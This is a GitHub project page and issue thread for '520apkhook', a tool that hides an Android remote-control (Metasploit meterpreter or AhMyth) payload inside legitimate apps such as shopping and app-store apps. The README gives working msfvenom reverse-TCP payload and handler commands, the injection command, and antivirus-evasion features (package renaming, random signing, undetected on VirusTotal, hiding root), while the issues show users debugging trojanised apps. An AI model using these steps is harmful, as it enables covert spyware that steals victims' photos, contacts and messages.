Git Product home page Git Product logo

ba0gu0 / 520apkhook Goto Github PK

View Code? Open in Web Editor NEW
956.0 13.0 227.0 188.56 MB

将安卓远控Apk附加进普通的App中,运行新生成的App时,普通App正常运行,远控正常上线。Attach the Android remote control APK to a regular app. When the newly generated app is launched, the regular app operates as normal while the remote control goes online seamlessly.

License: Apache License 2.0

Java 93.73% AIDL 2.52% C++ 3.27% CMake 0.16% C 0.21% Kotlin 0.10%

520apkhook's Introduction

520_APK_HOOK

介绍

  • 将编写的安卓远控程序,注入到正常的App中,运行app时安卓远控程序也会上线。

  • 修复上一版本的bug,使用java重写,同时还重写了520ApkBox程序,专门用来运行运行APP和远控App。

  • 520ApkBox是一个java编写的App,主要作用是一个安卓虚拟机,任何App可以不用任何修改就可以正常运行,可以绕过现在各种App的安全检测。同时此App还是一个加载器,通过DexClassesLoder加载远控的Dex文件并启动上线。

  • 520ApkHook是Java编写的注入工具,将被注入的App和远控App注入到一个App中。

  • 项目地址: https://github.com/ba0gu0/520apkhook

  • 作者: BaoGuo

版本升级

  • 2024-07-02

    • 修复Linux运行bug,缺少so库文件。
  • 2024-06-20

    • 修复各种bug。
    • 新增了改包模块,把payload apk的包名修改掉,去掉特征,避免被杀软识别。目前修改后效果不错,各安全管家、virustotal都不报毒。
  • 2024-05-21

    • 修复了520apkhook的相关问题(app中文名报错、apk签名被标记。)

    • 新增了随机签名的功能,先获取原始app的相关签名信息,根据这些信息重新生成新的签名,签名密码每次都不一样,避免被标记。(有些app会无法识别签名信息,可以自己用jadx获取到app的签名信息,然后生成证书,使用ApkSigner进行重新签名。华为目前还有问题,改签名也会被识别恶意app)

    • 更换了两个安卓虚拟机,NewBlackboxSpaceCore。安卓版本支持到5-14

    • 新增了-b, --boxName参数,用来指定SpaceCore还是NewBlackBox,默认SpaceCore,如果出现卡顿或者闪退,可以尝试切换到NewBlackBox。直接指定参数 -b NewBlackBox 即可。

  • 2023-06-05

    • 上版本忘记添加32位app支持,此次升级加入32位app支持。更换了虚拟机项目依赖,稳定性更好一下。

    • 支持安卓5-12版本,不支持最新的安卓13。

    • 问题1、目前有问题的app,微信、ES文件浏览器。

    • 问题2、被注入的app读取到的文件、图片、通讯录、短信是虚拟机的内容,但是注入的payload获取到的是实体机的内容。

优点

  • 相比于普通的安卓远控,此版本app在进行远控时,被注入的app可以正常运行。

  • 注入后的app在安装时,手机管家不会有任何安全提示,普通的远控程序,安装时手机管家会有安全警示。

  • 理论上来说,只要远控软件使用的是纯Java或者Kotlin编写,就可以使用,不一定必须是msf生成的apk。

使用

  1. 下载Releases中打包好的jar包
  1. msfmsfvenom
msfvenom -p android/meterpreter/reverse_tcp lhost=114.114.114.114 lport=3306 -o ~/Downloads/msf.apk
  1. msfconsole
# 启动 msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3306
set exitonsession false
exploit -j
  1. 520ApkHook

msf由于加载机制问题,需要-o参数,才可以获取照片、通讯录、短信等。

如果在运行app时,提示版本太老、一堆权限提示,可以把-o去掉,但是权限会出问题。

java -jar a520ApkHook-1.0-jar-with-dependencies.jar -o ~/Downloads/想进行注入的App.apk ~/Downloads/msf.apk
  1. BaoGuo仍给你一个Apk,请安装它!

搭配其他远控使用

  • 推荐搭配AhMyth,配在一起贼爽。

使用AhMyth时,不需要添加-o参数,不然app会提示版本太老,一堆权限提示太假。

https://github.com/Morsmalleo/AhMyth

BUG

  • 使用SpaceCore作为基础容器,能运行90%的app,但可能会出现app不流畅。
  • 使用NewBlackBox作为基础容器,目前测试不能在模拟器中运行,微信无法启动。
  • 其他未测试...

项目依赖

重点说明

  • 本项目仅用于安全研究, 禁止利用脚本进行攻击, 使用本脚本产生的一切问题和本人无关.

  • 由于此软件是基于安卓虚拟化来实现的,虚拟化软件对于不同版本的系统会出现BUG,可以自行修改520ApkBox项目源码 (欢迎大佬提交pull) .

Start 曲线

Start 曲线

520apkhook's People

Contributors

ba0gu0 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

520apkhook's Issues

关于资源文件的问题

感谢上个问题的回复,发现了新的问题。
我的被附加的APK的资源文件strings.xml中有下边节点。然后合并APK后,这两个节点没有在合成后的APK中出现
https://127.0.0.1
1101

问题

使用JAVA什么版本可以?
java version 1.8.0_202编译失败

文件有问题,教程不详细

文件路径错误:确保文件路径是正确的,并且文件确实存在。
文件权限问题:确保当前用户对文件具有足够的读取权限。
文件格式问题:确保文件是有效的 Apk 文件,没有被修改或损坏。
7/24 19:43:33.306 E/Main: 读取被注入Apk文件信息失败, 无法进行下一步, 程序退出! /root/Downloads/京东.apk
java.nio.file.NoSuchFileException: /root/Downloads/京东.apk

无法安装运行

根据提示下载配置,
~/Downloads/京东.apk ~/Downloads/msf.apk 最终生成的520apk
构造后发现在模拟器android 6 7 9 10 11都无法运行,麻烦问下应用啥版本呢?

请教一个问题

使用:msfvenom -p android/meterpreter/reverse_tcp lhost=114.114.114.114 lport=3306 -o ~/Downloads/msf.apk生成一个APK,我想知道有没有这个APK对应的源码,我想尝试在这个源码上做一些修改

32位闪退,64位无法上线

image
``--------- beginning of crash
--------- beginning of main
07-17 19:42:34.178 W/System.err( 8289): java.lang.ClassNotFoundException: com.metasploit.stage.MainActivity
07-17 19:42:34.178 W/System.err( 8289): at java.lang.Class.classForName(Native Method)
07-17 19:42:34.178 W/System.err( 8289): at java.lang.Class.forName(Class.java:324)
07-17 19:42:34.178 W/System.err( 8289): at java.lang.Class.forName(Class.java:285)
07-17 19:42:34.178 W/System.err( 8289): at com.v2ray.ang.a520apkbox.MainApplication.bindRealApplication(MainApplication.java:229)
07-17 19:42:34.178 W/System.err( 8289): at com.v2ray.ang.a520apkbox.MainApplication.onCreate(MainApplication.java:188)
07-17 19:42:34.178 W/System.err( 8289): at android.app.Instrumentation.callApplicationOnCreate(Instrumentation.java:1017)
07-17 19:42:34.178 W/System.err( 8289): at android.app.ActivityThread.handleBindApplication(ActivityThread.java:4894)
07-17 19:42:34.178 W/System.err( 8289): at android.app.ActivityThread.-wrap1(ActivityThread.java)
07-17 19:42:34.178 W/System.err( 8289): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1508)
07-17 19:42:34.178 W/System.err( 8289): at android.os.Handler.dispatchMessage(Handler.java:102)
07-17 19:42:34.178 W/System.err( 8289): at android.os.Looper.loop(Looper.java:148)
07-17 19:42:34.178 W/System.err( 8289): at android.app.ActivityThread.main(ActivityThread.java:5654)
07-17 19:42:34.178 W/System.err( 8289): at java.lang.reflect.Method.invoke(Native Method)
07-17 19:42:34.178 W/System.err( 8289): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:782)
07-17 19:42:34.178 W/System.err( 8289): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:672)
07-17 19:42:34.178 W/System.err( 8289): Caused by: java.lang.ClassNotFoundException: Didn't find class "com.metasploit.stage.MainActivity" on path: DexPathList[[zip file "/data/app/com.v2ray.ang.a520apkbox-1/base.apk"],nativeLibraryDirectories=[/data/app/com.v2ray.ang.a520apkbox-1/lib/arm64, /data/app/com.v2ray.ang.a520apkbox-1/base.apk!/lib/arm64-v8a, /vendor/lib64, /system/lib64]]
07-17 19:42:34.178 W/System.err( 8289): at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56)
07-17 19:42:34.178 W/System.err( 8289): at java.lang.ClassLoader.loadClass(ClassLoader.java:511)
07-17 19:42:34.178 W/System.err( 8289): at java.lang.ClassLoader.loadClass(ClassLoader.java:469)
07-17 19:42:34.178 W/System.err( 8289): ... 15 more
07-17 19:42:34.178 W/System.err( 8289): Suppressed: java.lang.ClassNotFoundException: com.metasploit.stage.MainActivity
07-17 19:42:34.179 W/System.err( 8289): at java.lang.Class.classForName(Native Method)
07-17 19:42:34.179 W/System.err( 8289): at java.lang.BootClassLoader.findClass(ClassLoader.java:781)
07-17 19:42:34.179 W/System.err( 8289): at java.lang.BootClassLoader.loadClass(ClassLoader.java:841)
07-17 19:42:34.179 W/System.err( 8289): at java.lang.ClassLoader.loadClass(ClassLoader.java:504)
07-17 19:42:34.179 W/System.err( 8289): ... 16 more
07-17 19:42:34.179 W/System.err( 8289): Caused by: java.lang.NoClassDefFoundError: Class not found using the boot class loader; no stack trace available
07-17 19:42:34.780 W/System.err( 8315): java.lang.ClassNotFoundException: android.hardware.location.IContextHubService$Stub
07-17 19:42:34.780 W/System.err( 8315): at java.lang.Class.classForName(Native Method)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.Class.forName(Class.java:324)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.Class.forName(Class.java:285)
07-17 19:42:34.780 W/System.err( 8315): at top.niunaijun.blackreflection.BlackReflection.getClassNameByBlackClass(BlackReflection.java:239)
07-17 19:42:34.780 W/System.err( 8315): at top.niunaijun.blackreflection.BlackReflection.create(BlackReflection.java:55)
07-17 19:42:34.780 W/System.err( 8315): at black.android.hardware.location.BRIContextHubServiceStub.get(BRIContextHubServiceStub.java:13)
07-17 19:42:34.780 W/System.err( 8315): at top.niunaijun.blackbox.fake.service.IContextHubServiceProxy.getWho(IContextHubServiceProxy.java:25)
07-17 19:42:34.780 W/System.err( 8315): at top.niunaijun.blackbox.fake.hook.ClassInvocationStub.injectHook(ClassInvocationStub.java:51)
07-17 19:42:34.780 W/System.err( 8315): at top.niunaijun.blackbox.fake.hook.HookManager.injectAll(HookManager.java:186)
07-17 19:42:34.780 W/System.err( 8315): at top.niunaijun.blackbox.fake.hook.HookManager.init(HookManager.java:157)
07-17 19:42:34.780 W/System.err( 8315): at top.niunaijun.blackbox.BlackBoxCore.doAttachBaseContext(BlackBoxCore.java:159)
07-17 19:42:34.780 W/System.err( 8315): at com.v2ray.ang.a520apkbox.MainApplication.attachBaseContext(MainApplication.java:108)
07-17 19:42:34.780 W/System.err( 8315): at android.app.Application.attach(Application.java:257)
07-17 19:42:34.780 W/System.err( 8315): at android.app.Instrumentation.newApplication(Instrumentation.java:997)
07-17 19:42:34.780 W/System.err( 8315): at android.app.Instrumentation.newApplication(Instrumentation.java:981)
07-17 19:42:34.780 W/System.err( 8315): at android.app.LoadedApk.makeApplication(LoadedApk.java:583)
07-17 19:42:34.780 W/System.err( 8315): at android.app.ActivityThread.handleBindApplication(ActivityThread.java:4867)
07-17 19:42:34.780 W/System.err( 8315): at android.app.ActivityThread.-wrap1(ActivityThread.java)
07-17 19:42:34.780 W/System.err( 8315): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1508)
07-17 19:42:34.780 W/System.err( 8315): at android.os.Handler.dispatchMessage(Handler.java:102)
07-17 19:42:34.780 W/System.err( 8315): at android.os.Looper.loop(Looper.java:148)
07-17 19:42:34.780 W/System.err( 8315): at android.app.ActivityThread.main(ActivityThread.java:5654)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.reflect.Method.invoke(Native Method)
07-17 19:42:34.780 W/System.err( 8315): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:782)
07-17 19:42:34.780 W/System.err( 8315): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:672)
07-17 19:42:34.780 W/System.err( 8315): Caused by: java.lang.ClassNotFoundException: Didn't find class "android.hardware.location.IContextHubService$Stub" on path: DexPathList[[zip file "/data/app/com.v2ray.ang.a520apkbox-1/base.apk"],nativeLibraryDirectories=[/data/app/com.v2ray.ang.a520apkbox-1/lib/arm64, /data/app/com.v2ray.ang.a520apkbox-1/base.apk!/lib/arm64-v8a, /vendor/lib64, /system/lib64]]
07-17 19:42:34.780 W/System.err( 8315): at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.ClassLoader.loadClass(ClassLoader.java:511)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.ClassLoader.loadClass(ClassLoader.java:469)
07-17 19:42:34.780 W/System.err( 8315): ... 25 more
07-17 19:42:34.780 W/System.err( 8315): Suppressed: java.lang.ClassNotFoundException: android.hardware.location.IContextHubService$Stub
07-17 19:42:34.780 W/System.err( 8315): at java.lang.Class.classForName(Native Method)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.BootClassLoader.findClass(ClassLoader.java:781)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.BootClassLoader.loadClass(ClassLoader.java:841)
07-17 19:42:34.780 W/System.err( 8315): at java.lang.ClassLoader.loadClass(ClassLoader.java:504)
07-17 19:42:34.780 W/System.err( 8315): ... 26 more
07-17 19:42:34.780 W/System.err( 8315): Caused by: java.lang.NoClassDefFoundError: Class not found using the boot class loader; no stack trace available
07-17 19:42:34.843 W/System.err( 8315): java.lang.ClassNotFoundException: com.metasploit.stage.MainActivity
07-17 19:42:34.843 W/System.err( 8315): at java.lang.Class.classForName(Native Method)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.Class.forName(Class.java:324)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.Class.forName(Class.java:285)
07-17 19:42:34.843 W/System.err( 8315): at com.v2ray.ang.a520apkbox.MainApplication.bindRealApplication(MainApplication.java:229)
07-17 19:42:34.843 W/System.err( 8315): at com.v2ray.ang.a520apkbox.MainApplication.onCreate(MainApplication.java:188)
07-17 19:42:34.843 W/System.err( 8315): at android.app.Instrumentation.callApplicationOnCreate(Instrumentation.java:1017)
07-17 19:42:34.843 W/System.err( 8315): at top.niunaijun.blackbox.fake.delegate.BaseInstrumentationDelegate.callApplicationOnCreate(BaseInstrumentationDelegate.java:225)
07-17 19:42:34.843 W/System.err( 8315): at top.niunaijun.blackbox.fake.delegate.AppInstrumentation.callApplicationOnCreate(AppInstrumentation.java:140)
07-17 19:42:34.843 W/System.err( 8315): at android.app.ActivityThread.handleBindApplication(ActivityThread.java:4894)
07-17 19:42:34.843 W/System.err( 8315): at android.app.ActivityThread.-wrap1(ActivityThread.java)
07-17 19:42:34.843 W/System.err( 8315): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1508)
07-17 19:42:34.843 W/System.err( 8315): at android.os.Handler.dispatchMessage(Handler.java:102)
07-17 19:42:34.843 W/System.err( 8315): at android.os.Looper.loop(Looper.java:148)
07-17 19:42:34.843 W/System.err( 8315): at android.app.ActivityThread.main(ActivityThread.java:5654)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.reflect.Method.invoke(Native Method)
07-17 19:42:34.843 W/System.err( 8315): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:782)
07-17 19:42:34.843 W/System.err( 8315): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:672)
07-17 19:42:34.843 W/System.err( 8315): Caused by: java.lang.ClassNotFoundException: Didn't find class "com.metasploit.stage.MainActivity" on path: DexPathList[[zip file "/data/app/com.v2ray.ang.a520apkbox-1/base.apk"],nativeLibraryDirectories=[/data/app/com.v2ray.ang.a520apkbox-1/lib/arm64, /data/app/com.v2ray.ang.a520apkbox-1/base.apk!/lib/arm64-v8a, /vendor/lib64, /system/lib64]]
07-17 19:42:34.843 W/System.err( 8315): at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.ClassLoader.loadClass(ClassLoader.java:511)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.ClassLoader.loadClass(ClassLoader.java:469)
07-17 19:42:34.843 W/System.err( 8315): ... 17 more
07-17 19:42:34.843 W/System.err( 8315): Suppressed: java.lang.ClassNotFoundException: com.metasploit.stage.MainActivity
07-17 19:42:34.843 W/System.err( 8315): at java.lang.Class.classForName(Native Method)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.BootClassLoader.findClass(ClassLoader.java:781)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.BootClassLoader.loadClass(ClassLoader.java:841)
07-17 19:42:34.843 W/System.err( 8315): at java.lang.ClassLoader.loadClass(ClassLoader.java:504)
07-17 19:42:34.843 W/System.err( 8315): ... 18 more
07-17 19:42:34.843 W/System.err( 8315): Caused by: java.lang.NoClassDefFoundError: Class not found using the boot class loader; no stack trace available

安装时闪退

确认该apk没加固,点击安装,显示安装中,然后立即就在模拟器消失了

解决一些疑难问题

  1. 腾讯系列app无法找到App默认启动组件.method public onCreate()V,统一输入组件地址为WorkDir/dexfile/app/classes/com/tencent/tinker/loader/app/TinkerApplication.smali
  2. 网易系列闪退暂未解决

机器验证包名怎么解决

我测试的设备有安全机制,会验证包名是否为白名单中的,否则无法安装,假如我要注入的app包名为com.test.apps,在使用你的工具后包名会变为com.test.apps.box导致不匹配白名单无法安装

没法编译

W: C:\Users\xxx\Downloads\workDir\apkBoxDecodeDir\res\values\strings.xml:21: error: Error parsing XML: not well-formed (invalid token)
W:
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\xxx\AppData\Local\Temp\brut_util_Jar_9531012300126581481943319605938899655.tmp, p, --forced-package-id, 127, --min-sdk-version, 23, --target-sdk-version, 28, --version-code, 39, --version-name, 1.0.0, --no-version-vectors, -F, C:\Users\xxx\AppData\Local\Temp\APKTOOL13546282770571653699.tmp, -e, C:\Users\xxx\AppData\Local\Temp\APKTOOL2333949434430769853.tmp, -0, arsc, -I, C:\Users\xxx\AppData\Local\apktool\framework\1.apk, -S, C:\Users\xxx\Downloads\workDir\apkBoxDecodeDir\res, -M, C:\Users\xxx\Downloads\workDir\apkBoxDecodeDir\AndroidManifest.xml]

有几个问题 你这个生成的光闪退

有几个问题请教作者 你的那个命令不行 我用得这个
java -jar a520ApkHook-1.2.1-jar-with-dependencies.jar C:\a\a.apk C:\a\b.apk
事先安装了jdk-11.0.23_windows-x64_bin.exe WIN10系统
下载得你这个a520ApkHook-1.2.1-jar-with-dependencies.jar 生成的APK闪退
如果用Kali Linux Ubuntu 64 位 安装JDK11.0.6运行到V4签名校对就程序退出了
还有你有两个安卓虚拟机 用什么命令切换第二个
你以前的那个main.py 只能注入木马 我是想合并APP
不能用

而且WIN10系统每次生成前必须删除下C:\Users\Administrator\AppData\Local\apktool\framework 下面的1.APK

安卓生成后门添加参数

大佬您好,请问怎么在生成木马时自动添加sessioncommunicationtimeout=0sessionexpirationtimeout=0这两项参数啊?看了您的源码,还是不太明白从哪里入手修改

找不到启动组件

我使用的是腾讯的软件但是按照您提供的路径找不到/tinker/loader/app/TinkerApplication.smali

注入完的APK打开空指针

对多个APK进行注入分别测试后,发现所有的app能够正常安装进入启动页面,后续就会造成空指针闪退
使用机型:小米9
系统版本:MIUI 12.5.6
JDK版本:ARM64 openjdk version "11.0.16" 2022-07-19 OpenJDK 64-Bit
Python3版本:Python 3.10.5

华为报毒

想问下华为手机报毒该怎么解决,我只能确定到是其中的Module引起的

java.lang.ClassNotFoundException: Didn't find class

D doAttachBaseContext 初始化成功!
2023-08-30 17:34:50.341 29504-29504 520ApkBox ...pplication pid-29504 D 获取到dex 中的Application Class
2023-08-30 17:34:50.342 29504-29504 520ApkBox ...pplication pid-29504 D 加载Dex失败: java.lang.ClassNotFoundException: com.metasploit.stage.MainActivity
2023-08-30 17:34:50.342 29504-29504 System.err pid-29504 W at com.jingdong.app.mall.a520apkbox.MainApplication.bindRealApplication(MainApplication.java:229)
2023-08-30 17:34:50.342 29504-29504 System.err pid-29504 W at com.jingdong.app.mall.a520apkbox.MainApplication.onCreate(MainApplication.java:188)
2023-08-30 17:34:50.343 29504-29504 System.err pid-29504 W Caused by: java.lang.ClassNotFoundException: Didn't find class "com.metasploit.stage.MainActivity" on path: DexPathList[[zip file "/data/app/com.jingdong.app.mall.a520apkbox-1/base.apk"],nativeLibraryDirectories=[/data/app/com.jingdong.app.mall.a520apkbox-1/lib/arm, /data/app/com.jingdong.app.mall.a520apkbox-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]

无法找到默认启动组件,输入路径提示文件不存在

腾讯系列app无法找到App默认启动组件.method public onCreate()V,统一输入组件地址为WorkDir/dexfile/app/classes/com/tencent/tinker/loader/app/TinkerApplication.smali
网易系列闪退暂未解决

按照上面这个路径输入,提示文件不存在

不兼容

你好,目前发现有个问题就是捆绑的正常的APK的名字必须是京东.apk(就是本身APK可以是其他APK,但是名字必须是京东),然后执行那个jar包合并才能正常执行然后生成出来捆绑msf木马的APK,安装到虚拟机中的时候是可以正常安装和上线的,但是在真实手机,安卓13版本以下,安装会显示安装包损坏,请问这一问题您是否有遇到过?
image

生成好的文件在那个目录还是需要自己打包成apk文件

BaoGuo仍给你一个Apk,请安装它!
ava -jar a520ApkHook-1.1-jar-with-dependencies.jar yyb.apk msf.apk

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
06/06 14:39:11.763 I/Config: 创建工作目录, /root/workDir
06/06 14:39:11.772 I/Config: 初始化配置信息完成.
06/06 14:39:11.772 I/Main: 启动程序.

______ ___   ____   ___            __    __  __               __  

/ /| \ / __ \ / | ____ / / / / / /____ ____ / /__
/___ \ / // / / // /| | / __ \ / //// // // __ \ / __ \ / //_/
/ / / __// // // ___ | / // // ,< / __ // // // // // ,<
/
/ //_/// ||/ .///||// // _/ _///||
/
/

06/06 14:39:11.772 I/Main: 初始化工作环境.
06/06 14:39:11.773 I/Config: 从Jar包中释放工具文件.
06/06 14:39:11.887 I/Config: 已释放 apktool.jar .
06/06 14:39:11.894 I/Config: 已释放 apksigner.jar .
06/06 14:39:11.894 I/Config: 已释放 Android.keystore .
06/06 14:39:11.920 I/Config: 已释放 520ApkBox64.apk .
06/06 14:39:11.942 I/Config: 已释放 520ApkBox32.apk .
06/06 14:39:11.942 I/Main: 释放所有脚本成功.
06/06 14:39:11.943 I/Main: 被注入的 Apk 文件为: yyb.apk
06/06 14:39:11.943 I/Main: 进行注入的 Payload Apk 文件为: msf.apk
06/06 14:39:11.943 I/Main: 尝试读取被注入Apk的信息. yyb.apk
06/06 14:39:12.017 I/GetSourceApkInfo: 获取注入 Apk 的MetaDate信息: {AppTargetSdkVersion=26, AppMaxSdkVersion=null, AppVersionCode=8432130, AppVersionName=8.4.3, AppMinSdkVersion=21, AppName=应用宝, AppPackageName=com.tencent.android.qqdownloader}
06/06 14:39:12.018 I/GetSourceApkInfo: 获取注入 Apk 的所有图标信息: [Icon{path='res/b/ic_launcher.png', density=0, size=2071}, Icon{path='res/k/ic_launcher.png', density=320, size=2071}]
06/06 14:39:12.021 I/GetSourceApkInfo: 获取注入 Apk 的最大的图标信息: Icon{path='res/k/ic_launcher.png', density=320, size=2071}
06/06 14:39:12.023 I/GetSourceApkInfo: 读取注入 Apk 最大的图标并保存, 保存位置: /root/workDir/hackApkIcon.png
06/06 14:39:12.144 I/GetSourceApkInfo: 在注入 Apk 中找到文件: lib/arm64-v8a/libBugly_Native.so
06/06 14:39:12.144 I/GetSourceApkInfo: 获取注入 Apk 的Arch信息: arm64-v8a
06/06 14:39:12.144 I/Main: 读取被注入Apk信息已完成.
06/06 14:39:12.145 I/Main: 尝试读取 Payload Apk的信息. msf.apk
06/06 14:39:12.146 I/GetPayloadApkInfo: 使用apktool反编译 Payload Apk, msf.apk
I: Using Apktool 2.7.0 on msf.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values / XMLs...
I: Copying raw classes.dex file...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
06/06 14:39:13.751 I/GetPayloadApkInfo: 解析 Payload Apk 的AndroidManifest.xml文件, 并创建新的 AndroidManifest-New.xml文件.
06/06 14:39:13.765 I/GetPayloadApkInfo: 为目标receiver添加android:exported=true属性.
06/06 14:39:13.781 I/GetPayloadApkInfo: 成功获取到 Payload Apk 的MainActivityName.
06/06 14:39:13.783 I/GetPayloadApkInfo: 获取 payload Apk 文件中的Provider、Receiver、Service、Meta-data、Activity成功.
06/06 14:39:13.783 I/GetPayloadApkInfo: 尝试对 Payload Apk的dex文件进行加密压缩. msf.apk
06/06 14:39:13.783 I/GetPayloadApkInfo: dex文件加密密码为: d8Fx23JB
06/06 14:39:13.793 I/Main: 开始进行对被注入Apk进行包装.
06/06 14:39:13.793 I/HackApk: 目标Apk支持64位, 使用apktool反编译模板Apk, /root/workDir/libs/520ApkBox64.apk
I: Using Apktool 2.7.0 on 520ApkBox64.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values / XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
06/06 14:39:17.937 I/Main: 反编译模板Apk成功.
06/06 14:39:17.937 I/HackApk: 解析并修改模板Apk的AndroidManifest.xml文件.
06/06 14:39:17.945 I/HackApk: 设置模板Appassets目录存储的被注入Apk名字. 1ce63c7f-55cb-4931-b8bc-7af39697f918
06/06 14:39:17.945 I/HackApk: 设置包装器的启动包名. com.tencent.android.qqdownloader
06/06 14:39:17.945 I/HackApk: 设置包装器开启守护进程. false
06/06 14:39:17.946 I/HackApk: 设置包装器隐藏Root. true
06/06 14:39:17.946 I/HackApk: 设置包装器隐藏Xposed. true
06/06 14:39:17.946 I/HackApk: 设置压缩后的dex文件名字. b17de3a2-9419-46a6-ae7c-4e98d2ccd2c6
06/06 14:39:17.946 I/HackApk: 设置dex文件的压缩包密码. d8Fx23JB
06/06 14:39:17.946 I/HackApk: 设置 Payload apk 的ApplicationName. android.app.Application
06/06 14:39:17.946 I/HackApk: 设置 Payload apk 的MainActivityName. com.metasploit.stage.MainActivity
06/06 14:39:17.946 I/HackApk: 将payload apk中的AndroidManifest-new.xml追加到apkbox的AndroidManifest.xml中.
06/06 14:39:17.950 I/HackApk: 写入模板App的AndroidManifest.xml文件成功.
06/06 14:39:17.951 I/HackApk: 解析并修改模板App的string.xml文件.
06/06 14:39:17.954 I/HackApk: 设置模板App显示的名字. 应用宝
06/06 14:39:17.955 I/HackApk: 写入模板App的string.xml文件成功.
06/06 14:39:17.956 I/HackApk: 修复模板App的values-v31/colors.xml文件.
06/06 14:39:17.957 I/HackApk: 修复模板App的values-v31/colors.xml文件成功.
06/06 14:39:17.957 I/HackApk: 解析并修改模板App的apktool.yml文件.
06/06 14:39:17.958 I/HackApk: 修改模板App的minSdkVersion、targetSdkVersion、versionName、versionCode信息.
06/06 14:39:17.958 I/HackApk: 修改模板App的apktool.yml文件成功.
06/06 14:39:17.958 I/HackApk: 原始smali文件路径: /root/workDir/apkBoxDecodeDir/smali/com/android/a520apkbox
06/06 14:39:17.958 I/HackApk: 修改后smali文件路径: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox
06/06 14:39:17.959 I/HackApk: 创建新的smali目录: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox
06/06 14:39:17.968 I/HackApk: 复制原始smali文件到新的smali目录中.
06/06 14:39:17.972 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/R$style.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.972 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/MainApplication$1.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.973 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/R$mipmap.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.974 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/MainApplication.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.975 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/ProxyUtils.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
